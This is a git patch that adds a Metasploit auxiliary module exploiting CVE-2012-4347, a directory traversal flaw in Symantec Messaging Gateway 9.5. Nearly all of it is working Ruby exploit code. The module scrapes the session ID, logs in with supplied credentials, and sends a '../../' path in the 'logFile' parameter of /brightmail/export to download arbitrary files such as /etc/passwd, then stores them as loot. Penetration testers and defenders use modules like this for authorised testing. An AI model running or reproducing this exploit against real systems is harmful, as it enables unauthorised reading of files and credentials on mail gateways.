From 25d888bebb6060ab4b7d415b29d778a71e5d45a8 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 10 Dec 2012 18:09:29 -0600 Subject: [PATCH] Add CVE-2012-4347 Symantec Messaging Gateway Log File Download --- .../http/symantec_brightmail_logfile.rb | 155 ++++++++++++++++++ 1 file changed, 155 insertions(+) create mode 100644 modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb new file mode 100644 index 0000000000..f2d481ddb8 --- /dev/null +++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb @@ -0,0 +1,155 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Symantec Messaging Gateway 9.5 Log File Download Vulnerability', + 'Description' => %q{ + This module will download a file of your choice against Symantec Messaging + Gateway. This is possible by exploiting a directory traversal vulnerability + when handling the 'logFile' parameter, which will load an arbitrary file as + an attachment. Note that authentication is required in order to successfully + download your file. + }, + 'References' => + [ + ['CVE', '2012-4347'], + ['EDB', '23110'], + ['OSVDB', '88165'], + ['BID', '56789'], + ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00'] + ], + 'Author' => + [ + 'Ben Williams ', + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Nov 30 2012" + )) + + register_options( + [ + Opt::RPORT(41080), + OptString.new('FILENAME', [true, 'The file to download', '/etc/passwd']), + OptString.new('USERNAME', [true, 'The username to login as']), + OptString.new('PASSWORD', [true, 'The password to login with']) + ], self.class) + + deregister_options('RHOST') + end + + + def peer + "#{rhost}:#{rport}" + end + + + def auth(username, password, sid, last_login) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/brightmail/login.do', + 'headers' => { + 'Referer' => "http://#{peer}/brightmail/viewLogin.do" + }, + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", + 'vars_post' => { + 'lastlogin' => last_login, + 'userLocale' => '', + 'lang' => 'en_US', + 'username' => username, + 'password' => password, + 'loginBtn' => 'Login' + } + }) + + if res and res.headers['Location'] + new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0] + res = send_request_cgi({ + 'uri' => new_uri, + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}" + }) + + return true if res and res.body =~ /Logged in as: #{username}/ + end + + return false + end + + + def get_login_data + sid = '' #From cookie + last_login = '' #A hidden field in the login page + + res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'}) + if res and res.headers['Set-Cookie'] + sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' + end + + if res + last_login = res.body.scan(//).flatten[0] || '' + end + + return sid, last_login + end + + + def download_file(sid, fname) + res = send_request_cgi({ + 'uri' => '/brightmail/export', + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", + 'vars_get' => { + 'type' => 'logs', + 'logFile' => "../../#{fname}", + 'logType' => '1', + 'browserType' => '1' + } + }) + + if res and res.body.empty? + print_error("#{peer} - File not found or empty.") + return + end + + vprint_line("") + vprint_line(res.body) + + f = ::File.basename(fname) + p = store_loot('symantec.brightmail.file', 'application/octet-stream', rhost, res.body, f) + print_good("#{peer} - File saved as: '#{p}'") + end + + + def run_host(ip) + sid, last_login = get_login_data + if sid.empty? or last_login.empty? + print_error("#{peer} - Missing required login data. Cannot continue.") + return + end + + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + if not auth(username, password, sid, last_login) + print_error("#{peer} - Unable to login. Cannot continue.") + return + else + print_good("#{peer} - Logged in as '#{username}:#{password}'") + end + + fname = datastore['FILENAME'] + download_file(sid, fname) + end + +end \ No newline at end of file